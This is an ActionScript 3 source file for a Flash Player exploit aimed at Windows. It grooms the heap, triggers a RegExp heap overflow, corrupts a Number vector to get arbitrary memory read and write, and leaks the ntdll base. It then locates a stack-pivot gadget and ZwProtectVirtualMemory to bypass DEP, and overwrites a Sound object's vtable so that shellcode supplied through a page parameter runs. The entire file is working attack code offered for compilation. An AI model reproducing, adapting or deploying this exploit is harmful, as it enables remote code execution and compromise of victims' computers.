// Compile with: mxmlc exploit.as -o exploit.swf
package 
{
	import flash.display.Sprite;
	import flash.media.Sound;
	import flash.utils.ByteArray;
	import __AS3__.vec.Vector;
	import flash.display.LoaderInfo;
	import flash.system.Capabilities;
	import flash.utils.Endian;
	import __AS3__.vec.*;
	import flash.utils.*;
	import flash.display.*;
	import flash.media.*;
	import flash.system.*;
	import flash.external.*;
	import flash.net.*;
	
	public class exploit extends Sprite 
	{
		public var flash_version:Number;
		public var sound_object:Sound;
		public var byte_array:ByteArray;
		public var massaged_memory:Vector.<Object>;
		public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
		public var TweakedVector:Vector.<Number>;
		public var TweakedVector_address:uint;
		public var sound_address:uint;
		public var sound_address_vtable:uint;
		public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
		public var byte_array_data_address:uint;
		public var ntdll_base:uint;
		public var ntdll_pe_file_header:uint;
		public var stack_pivot:uint;
		public var virtual_alloc_address:uint;
		public var last_leaked_address:uint;
		public var last_leak:Vector.<uint>;
		
		public function exploit():void
		{
			this.sound_object = new Sound();
			this.byte_array = new ByteArray();
			this.massaged_memory = new Vector.<Object>(0);
			this.last_leak = new Vector.<uint>(2);
			super();
			var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
			var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
			if (shellcode == null){
				return;
			};
			if (!this.CheckVersion()){
				return;
			};
			this.ExploitIt(shellcode);
			this.Restore();
		}
		
		public function CheckVersion():Boolean
		{
			var capabilities:* = Capabilities.version.toLowerCase().split(" ");
			if (capabilities[0] != "win"){
				return (false);
			};
			this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
			if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
				return (false);
			};
			return (true);
		}
		
		public function PrepareMemoryAndOverflow():RegExp
		{
			var index:uint;
			var tmp_vector:Vector.<Object>;
			index = 0;
			
			while (index < 0x4000) {
				tmp_vector = new Vector.<Object>(16);
				tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
				tmp_vector[1] = this.CreateVectorSixteenNumbers();
				tmp_vector[2] = this.CreateVectorSixteenNumbers();
				tmp_vector[3] = this.CreateVectorSixteenNumbers();
				tmp_vector[4] = this.CreateVectorSixteenNumbers();
				tmp_vector[5] = this.CreateVectorSixteenNumbers();
				tmp_vector[6] = this.CreateVectorSixteenNumbers();
				tmp_vector[7] = this.CreateVectorSixteenNumbers();
				tmp_vector[8] = this.CreateVectorSixteenNumbers();
				tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
				this.massaged_memory[index] = tmp_vector;
				index++;
			};
			index = 0x2000;
			
			// Make some holes
			while (index < 0x3fff) {
				if ((index % 2) != 0){
					this.massaged_memory[index][2] = null;
				};
				index++;
			};
			
			// Hopefully reuse a hole and overflow a tmp_vector[3] field
			return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
		}
		
		public function SearchOverflowedTweakAndRestore():Boolean
		{
			var index:uint;
			var numbers_vector_index:uint;
			var overflowed_vector:Vector.<Number>;
			var fingerprint:Number;
			index = 0;
			_loop_1:
			while (index < 0x4000) {
				numbers_vector_index = 1;
				while (numbers_vector_index < 9) {
					try {
						// If the length is bigger than 17, the vector's length has been overflowed
						if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
							overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
							if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
								break _loop_1;
							}
							return (false);
						};
					} catch(e:Error) {
					};
					numbers_vector_index++;
				};
				index++;
			};
			
			if (overflowed_vector){
				this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
				// Overwrite the length of the vector following the overflowed one:
				// reused hole (vector)  ==> overflowed vector ==> corrupted (tweaked) vector
				overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
				// corrupts the first position of the corrupted (tweaked) vector, so we can find it
				// in the future easily.
				fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));				
				index = 0;
				while (index < 0x4000) {
					numbers_vector_index = 1;
					while (numbers_vector_index < 9) {
						try {
							// restore the overflowed vector's length
							if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
								this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
								this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
								return (true);
							};
						} catch(e:Error) {
						};
						numbers_vector_index++;
					};
					index++;
				};
			};
			return (false);
		}
		
		public function Restore():void
		{
			try {
				if (((this.TweakedVector) && (this.vector_object_offset_4))){
					if (((this.sound_address) && (this.sound_address_vtable))){
						this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
					};
					this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
					return;
				};
			} catch(e:Error) {
			};
			do  {
			} while (1);
		}
		
		public function GetAddressTweakedVector():Boolean
		{
			var index:uint;
			var index_numbers_vectors:uint;
			var tweaked_next:Vector.<uint>;
			var tweaked_next_next:Vector.<uint>;
			try {
				index = 0;
				// Nullify (free) number vectors who aren't the tweaked one
				while (index < 0x4000) {
					index_numbers_vectors = 1;
					while (index_numbers_vectors < 9) {
						if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
							this.massaged_memory[index][index_numbers_vectors] = null;
						};
						index_numbers_vectors++;
					};
					index++;
				};
				index = 1;
				while (index < 4) {
					tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
					tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
					// Verify that after the tweaked vector there are two more number vectors
					// With the tweaked vector it is kinda easy to disclose its own address, becasuse
					// Flash links vectors, so there are pointers.
					if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
						this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
						return (true);
					};
					index++;
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function LeakObjectAddresses():Boolean
		{
			var one_signature:Number;
			var i:uint;
			var objects_leak:Vector.<uint>;
			var byte_array_address:uint;
			try {
				one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
				i = 0;
				while (i < 0x1000) {
					// Search first objects vector entry from the tweaked one (from the massaged memory...)
					if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
						//objects_leak[0] => ByteArray object
						//objects_leak[1] => Sound object
						objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
						
						this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
						this.sound_address_vtable = this.Leak(this.sound_address, true);				
						this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
						
						byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
						
						if (this.flash_version < 114){
							this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
							
						} else {
							byte_array_address = this.Leak((byte_array_address + 64), true);
							this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
						};
						return (true);
					};
					i++;
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function Leak(address:uint, align:Boolean):uint
		{
			var eigth_byte_aligned:uint;
			if (align) {
				eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
			} else {
				eigth_byte_aligned = 0;
			}
			if (eigth_byte_aligned){
				address = (address - 4);
			};
			if (this.last_leaked_address == address){
				return (this.last_leak[eigth_byte_aligned]);
			};
			var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
			this.last_leaked_address = address;
			this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
			return (this.last_leak[eigth_byte_aligned]);
		}
		
		public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
		{
			var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
			this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
		}
		
		public function LeakNtdll():Boolean
		{
			var ntdll_address:uint;
			var KiFastSystemCall_address:uint;
			var pe_file_header_address:uint;
			try {
				//KiFastSystemCallRet
				KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
				if (KiFastSystemCall_address == 0){
					KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
				};
				if (KiFastSystemCall_address){
					KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
					while (1) {
						if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
							ntdll_address = KiFastSystemCall_address;
							break;
						};
						KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
					};
					if (ntdll_address){
						pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
						if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
							this.ntdll_base = ntdll_address;
							this.ntdll_pe_file_header = pe_file_header_address;
							return (true);
						};
					};
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
		{
			var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
			var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
			return ((_local_5 | _local_4));
		}
		
		public function FindStackPivot():Boolean
		{
			var ntdll_size_of_code:uint;
			var ntdll_base_of_code:uint;
			var instr:uint;
			var offset:uint;
			var next_instr:uint;
			var instr_offset:uint;
			try {
				ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
				ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
				if (((ntdll_size_of_code) && (ntdll_base_of_code))){
					ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
					instr = this.Leak(ntdll_base_of_code, true);
					offset = 4;
					while (offset < ntdll_size_of_code) {
						next_instr = this.Leak((ntdll_base_of_code + offset), true);
						instr_offset = 0;
						while (instr_offset < 4) {
							if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
								this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
								return (true);
							};
							instr_offset++;
						};
						instr = next_instr;
						offset = (offset + 4);
					};
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
		{
			var content_next:uint;
			var content:uint = this.Leak(address, true);
			var i:uint;
			while (i < signature.length) {
				content_next = this.Leak((address + ((i + 1) * 4)), true);
				if (this.GetUint(content, content_next, offset) != signature[i]){
					return (false);
				};
				content = content_next;
				i++;
			};
			return (true);
		}
		
		public function LeakVirtualProtect():Boolean
		{
			var exports_address:uint;
			var virtual_protect_signature:Vector.<uint>;
			var n_functions:uint;
			var ptrs_entry:uint;
			var ptrs_name:uint;
			var ptrs_ordinal:uint;
			var i:uint;
			var export_name_entry:uint;
			var offset_export_name_entry:uint;
			var _local_10:uint;
			
			try {
				exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
				if (exports_address){
					exports_address = (exports_address + this.ntdll_base);
					virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
					n_functions = this.Leak((exports_address + 24), true);
					ptrs_entry = this.Leak((exports_address + 28), true);
					ptrs_name = this.Leak((exports_address + 32), true);
					ptrs_ordinal = this.Leak((exports_address + 36), true);
					if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
						ptrs_entry = (ptrs_entry + this.ntdll_base);
						ptrs_name = (ptrs_name + this.ntdll_base);
						ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
						i = 0;
						while (i < n_functions) {
							export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
							if (export_name_entry){
								export_name_entry = (export_name_entry + this.ntdll_base);
								offset_export_name_entry = (export_name_entry % 4);
								export_name_entry = (export_name_entry - offset_export_name_entry);
								if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
									_local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);									
									if ((i % 2)){
										_local_10 = (_local_10 >>> 16);
									};
									
									this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
									return (true);
								};
							};
							i++;
						};
					};
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function ExploitIt(shellcode:String):void
		{
			var not_used:* = this.PrepareMemoryAndOverflow();
			if (!this.SearchOverflowedTweakAndRestore()){
				return;
			};
			if (!this.GetAddressTweakedVector()){
				return;
			};
			if (!this.LeakNtdll()){
				return;
			};
			if (!this.FindStackPivot()){
				return;
			};
			if (!this.LeakVirtualProtect()){
				return;
			};
			var i:uint;
			while (i < 0x19000) {
				this.byte_array.writeUnsignedInt(0x41424344);
				i++;
			};
			this.byte_array.endian = Endian.LITTLE_ENDIAN;
			var init_pos:uint = this.byte_array.position;
			
			// Write shellcode into the byte array
			this.byte_array.position = (init_pos + 136); 			
			this.write_into_byte_array(this.byte_array, shellcode);
			
			// Write stack pivot into the byte array
			this.byte_array.position = (init_pos + 112);
			this.byte_array.writeUnsignedInt(this.stack_pivot);
			
			if (!this.LeakObjectAddresses()){
				return;
			};
			
			this.byte_array_data_address = (this.byte_array_data_address + init_pos);			
			this.byte_array.position = init_pos;
			
			// build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
			this.byte_array.writeUnsignedInt(this.virtual_alloc_address);           // ZwProtectVirtualMemory
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
			this.byte_array.writeUnsignedInt(0xFFFFFFFF);                           // ProcessHandle
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28));  // BaseAddress
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32));  // NumberOfBytesToProtect
			this.byte_array.writeUnsignedInt(64);                                   // NewAccessProtection
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36));  // OldAccessProtection
			this.byte_array.writeUnsignedInt(this.byte_array_data_address);         // this.byte_array_data_address + 28 
			this.byte_array.writeUnsignedInt(0x1000);                               // this.byte_array_data_address + 32
			this.byte_array.writeUnsignedInt(0x41424344);                           // this.byte_array_data_address + 36
			
			// Overwrite Sound...
			this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
			
			// Make it happen!
			new Number(this.sound_object.toString());
		}
		
		private function write_into_byte_array(byte_array:ByteArray, string:String):void
		{
			var _local_4:String;
			var _local_5:int;
			var _local_3:int;
			while (_local_3 < string.length) {
				_local_4 = string.substr(_local_3, 2);
				_local_5 = parseInt(_local_4, 16);
				byte_array.writeByte(_local_5);
				_local_3 = (_local_3 + 2);
			};
		}
		
		private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
		{
			var result_float:ByteArray = new ByteArray();
			result_float.endian = Endian.LITTLE_ENDIAN;
			result_float.writeInt(_arg_1);
			result_float.writeInt(_arg_2);
			result_float.position = 0;
			return (result_float.readDouble());
		}
		
		// vector is a Float vectors
		// index is the position to read from the vector
		// read the vector[index] float i retorna els dos enters
		// ocupant les dues posiciones
		private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
		{
			var byte_array:ByteArray = new ByteArray();
			byte_array.endian = Endian.BIG_ENDIAN;
			byte_array.writeDouble(vector[index]);
			var vector_uint:Vector.<uint> = new Vector.<uint>(2);
			byte_array.position = 0;
			vector_uint[1] = byte_array.readUnsignedInt();
			vector_uint[0] = byte_array.readUnsignedInt();
			return (vector_uint);
		}
		
		private function CreateVectorThirtyTwoObjects():Vector.<Object>
		{
			var vector:* = new Vector.<Object>(32);
			vector[0] = null;
			vector[1] = null;
			vector[2] = this.sound_object;
			vector[3] = this.byte_array;
			return (vector);
		}
		
		private function CreateVectorSixteenNumbers():Vector.<Number>
		{
			var vector:* = new Vector.<Number>(16);
			vector[0] = 0;
			vector[15] = 1;
			return (vector);
		}
	}
}